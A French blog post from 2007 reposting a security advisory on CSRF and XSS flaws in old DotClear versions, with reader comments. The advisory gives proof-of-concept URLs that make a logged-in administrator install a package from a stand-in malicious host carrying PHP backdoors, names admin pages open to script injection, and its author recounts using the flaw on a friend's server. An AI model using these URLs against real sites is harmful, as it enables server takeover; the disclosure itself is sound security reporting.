Le Blog de SckyzO

mOn blOg à mOi - Thèmes : Informatique - Le Libre - l’infographie - la photographie - les actualités insolites - Ubuntu
  • rss
  • Accueil
  • A propos
  • Téléchargements
  • Curriculum Vitae
  • Contact

[ALERTE] Faille DotClear

SckyzO | 11 juillet 2007 | 12:34

Source : http://ar3av.free.fr/faille-dotclear.php

Bulletin de sécurité
http://ar3av.free.fr/faille-dotclear.php
=======================================

Software: DotClear
Date: 08 Juillet 2007
Versions affectées: 1.2.6 et versions antérieures / 2.0 beta 6 et versions antérieures
Type de la faille: CSRF & XSS
Découvreur: PsychoGun

DotClear est un blog populaire écrit en PHP dans lequel j’ai découvert de nombreuses vulnérabilités. Cette application web offre à son administrateur une interface de gestion qui permet de le configurer, mais le problème réside dans le fait que cette interface ne respecte pas les conventions rudimentaires de sécurité. Ainsi le blog ne vérifie jamais correctement la provenance des données qui lui sont envoyées, et c’est pourquoi il est possible de faire accomplir des actions à l’administrateur sans son consentement.

Pour peu qu’il soit logué sur son compte, on peut faire supprimer, activer ou désactiver des plugins à l’administrateur. On peut aussi lui faire ajouter des plugins infectés par des backdoor écrites en php et prendre, de cette manière, le contrôle du serveur. A noter que le plugin qui permet d’en ajouter d’autres fait partie de la configuration minimale de DotClear. J’ai déjà exploité cette faille pour faire une plaisanterie à un ami. Son site était composé d’un blog et d’un forum. J’ai posté une fausse image sur son forum qui réalisait une re-direction vers une url de ce type:

http://victim.com/dotclear/ecrire/tools.php?tool_url=http://www.malicious-website.com/malicious-file.pkg.gz&p=toolsmng

Sans le savoir, en ne cliquant sur aucun lien et en visualisant une page de son propre site, l’administrateur à installé une backdoor écrite en php sur son serveur. J’avais donc obtenu le contrôle de ce serveur grâce à une vulnérabilité de DotClear aussi stupéfiante que facile à exploiter. Mon fichier “malicious-file.pkg.gz” a été produit avec un outil de DotClear et il contenait des fichiers php qui ont donc été placés sur le serveur. Il ne devrait pas être possible de faire ce genre de choses, et c’est parce que DotClear n’utilise pas un système de token qu’il est vulnérable. Cette faille est présente partout ailleurs sur le blog.
On retrouve cette même faille dans la partie du blog sui sert à gérer les thèmes. Encore une fois on peut faire supprimer, activer ou désactiver des thèmes à l’administrateur. On peut aussi lui faire ajouter de nouveaux thèmes contenant des fichier php qui serviraient de backdoor. Voici un proof of concept :

http://victim.com/dotclear/ecrire/tools.php?tool_url=http://www.malicious-website.com/evil.pkg.gz&p=thememng

Lorsque l’administrateur clique sur ce lien ou lorsqu’il qu’il visualise une page web(qui peut être la sienne) qui contient ce lien(dans une image ou une iframe par exemple), les backdoors écrites en php sont alors copiés sur le serveur visé.

On peut faire mettre n’importe quoi à l’administrateur dans les champs de cette page:

http://victim.com/dotclear/ecrire/tools.php?p=blogconf

parce qu’encore une fois le blog ne vérifie pas la provenance des données, par ailleurs le champs contenant le nom du blog peut recevoir du code Javascript et peut par conséquent être utilisé pour mener à bien des attaques de type cross site scripting.

Sur cette page:

http://victim.com/dotclear/ecrire/tools.php?p=blogroll

On peut faire placer des nouveaux liens ou des nouvelles rubriques à l’administrateur. On peut aussi lui faire effacer des liens ou des rubriques. Cette page présente aussi une faille Xss car on peut placer du code javascript dans ses champs et celui-ci est à chaque fois interprété (dans la partie admin). Le javascript inséré dans le champs “rubrique” est lui aussi interprété sur la 1ère la page du blog(page visible pour tout le monde).
Il est très facile de faire créer à l’administrateur des profiles d’utilisateurs ayant les mêmes pouvoirs que lui. Il suffit de lui faire visiter une page qui contient un code HTML similaire à celui-ci:

============================

Lire la suite de l’article et des astuces sur le site officiel à la demande de l’auteur : http://ar3av.free.fr/faille-dotclear.php

Aucun tag pour cet article.

Articles relatifs

  • Aucun article relatif.
Catégories
Sécurité, Ubuntu
Flux rss des commentaires
Flux rss des commentaires
Trackback
Trackback

« OpenMoko, Le premier téléphone Open Source Ouverture au Planet sur le monde IRC »

10 réponses

Sécuriser l'interface d'administration de dotclear... Voici une petite astuce trouvée sur

Tux-planet | 11 juillet 2007 | 13:39

Sécuriser l’interface d’administration de dotclear…

Voici une petite astuce trouvée sur le blog officiel de dotclear, qui consiste à changer le nom du dossier d’administration afin de se prémunir d’éventuelles attaques….

D'où mon récent billet sur comment sécuriser l'interface d'administration de

Pti-seb | 11 juillet 2007 | 13:43

D’où mon récent billet sur comment sécuriser l’interface d’administration de dotclear :
http://www.tux-planet.fr/blog/?2007/07/10/166-securiser-l-interface-d-administration-de-dotclear

Edit du 10/07/2007(18H20): Les responsables du projet DotClear ont émis

SckyzO | 11 juillet 2007 | 13:47

Edit du 10/07/2007(18H20): Les responsables du projet DotClear ont émis un article dans lequel ils affirment que le fait de renommer des répertoires met les utilisateurs à l’abri de probables attaques. Sachez que cette allégation est absolument fausse. Le mieux reste, par conséquent, de s’en tenir à la recommandation faite ci-dessus.

Je comprend pas tout mais c'est dingue ce truc. Comment

eon | 11 juillet 2007 | 13:59

Je comprend pas tout mais c’est dingue ce truc. Comment un code que je visualise pourrait corrompre le système? les plugins en php ne peuvent pas remonter jusqu’à l’admin du serveur tout de meme?

Enfin, il doit avoir raison surement, j’y connais rien.

C'est l'exploitation de faille php dans un code mal fait

SckyzO | 11 juillet 2007 | 14:33

C’est l’exploitation de faille php dans un code mal fait :-)
Tout simplement, comme il en existe pour WP ou autre CMS, car au fond, c’est pas que c’est mal fait, c’est qu’il y a tellement de code qui traine que forcement, tout n’est pas parfait !

Salut SckyzO, Je suis l’auteur de l’article qui a été copié/collé

JoeGuillian | 14 juillet 2007 | 20:39

Salut SckyzO,
Je suis l’auteur de l’article qui a été copié/collé ci-dessus.
Veux tu bien ne citer qu’une partie de mon article et mettre un lien vers mon site pour que les gens puissent y lire la suite plutôt que de le reprendre dans son intégralité … ?

Voila :) Ca te va comme ca ? crdlt SckyzO

SckyzO | 16 juillet 2007 | 13:39

Voila :)
Ca te va comme ca ?

crdlt

SckyzO

je pense que skyzo se fiche de toi, Joe. hahahahhaah

xss666 | 18 juillet 2007 | 21:52

je pense que skyzo se fiche de toi, Joe.

hahahahhaah

Absolument pas, sinon je demanderai pas !! Et si ca va

SckyzO | 20 juillet 2007 | 0:40

Absolument pas, sinon je demanderai pas !!
Et si ca va pas, qu’on me le dise ! I am Very Open :)

ça craind tout de meme ces failles !

horaires SNCF | 7 août 2007 | 20:15

ça craind tout de meme ces failles !

Laisser un commentaire

Vous pouvez utiliser ces balises html : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Flux RSS

S'abonner aux Flux RSS S'abonner aux Flux RSS
S'abonner aux Flux RSS des commentaires
S'abonner aux Flux RSS

A Propos

Thomas Bourcey (Titom)

Bonjour à tous. Je m'appelle Thomas Bourcey, je vis à Toulouse. J'ai créé ce blog en 2006 dans l'optique de faire partager mes travaux, mes connaissances, mes idées, mes tutos ... par le biais d'articles
Mon CV est disponible ici

Articles récents

  • XBMC Media Center : Un Media Center Open Source en version Stable
  • Déclaration universelle des droits de l’homme
  • Ubuntu 8.10 Intrepid Ibex est là !
  • l’iPhone pour les nuls
  • Esprits Criminels : Ubunteros !

Commentaires Récents

  • SckyzO dans XBMC Media Center : Un Media Center Open Source en version Stable
  • costalfy dans XBMC Media Center : Un Media Center Open Source en version Stable
  • Description sommaire des distributions linux | Rodhia.net dans Téléchargements
  • lepouf.free.fr - Vrac dans Ubuntu 8.10 Intrepid Ibex est là !
  • Ze Bunix Tux Blog ! » Blog Archive » Ubuntu 8.10 Intrepid Ibex est sortie ! dans Ubuntu 8.10 Intrepid Ibex est là !

Nuage de Tags

Ubuntu Linux firefox Google windows OOo Logiciels Libres Open Source open office Geek Guake Wine tuxguitar gnome Télécharger gvfs Libre gnome 2.22 Distribution PlayOnLinux Jouer sous Linux Film iso Jeux iPhone Configurer asus Terminator 7.10 splashtop Musique MSN installation netsh gutsy gibbon carte mere ecran de demarrage noir debian ecran noir LAMP apache apache2 The Pirate Bay reseau adresse ip

Catégories

  • Cinéma (2)
  • Divers (22)
  • Internet (1)
  • iPhone (1)
  • Les Arts (2)
  • Linux (26)
  • Logiciels Libres (27)
  • Mon Blog (2)
  • Musique (6)
  • Planet-Libre.org (45)
  • Sécurité (9)
  • Ubuntu (58)
  • Vidéo (5)

Amis

  • Alt-I
  • Blog de Costalfy
  • Blog de Guilhem
  • CoolOeuvre
  • Galerie de Papou
  • Timorsea - Nature & informatique

Divers

  • CyberSports Fr

Linux

  • Aide & Documentation pour Ubuntu
  • Communauté Ubuntu
  • Planet-Libre.org

Perso

  • La Galerie de SckyzO
  • Point-Bar
  • Red Dragon School
  • Saperlipopette (31)
  • Thomas Bourcey

RSS RSS du Planet-Libre.org

  • Peck : #!/usr/bin/gcc (bis)
  • Artisan Numérique : Se prémunir des "SpyWebs" avec Privoxy
  • theClimber : 8 commandes Unix pour crasher votre système
  • Sinklar : Spread Thunderbird est lancé
  • Nicolargo : Actualité open-source de la semaine #41

Analyse du Blog

You need to upgrade your Flash Player

Partenaires

Logo altNetVision
Planet Libre
BLOGOMETRIE 2.0
http://www.wikio.fr

Paperblog : Les meilleurs actualités issues des blogs

Publie.ca!
rss Flux rss des commentaires valid xhtml 1.1 design by jide powered by Wordpress get firefox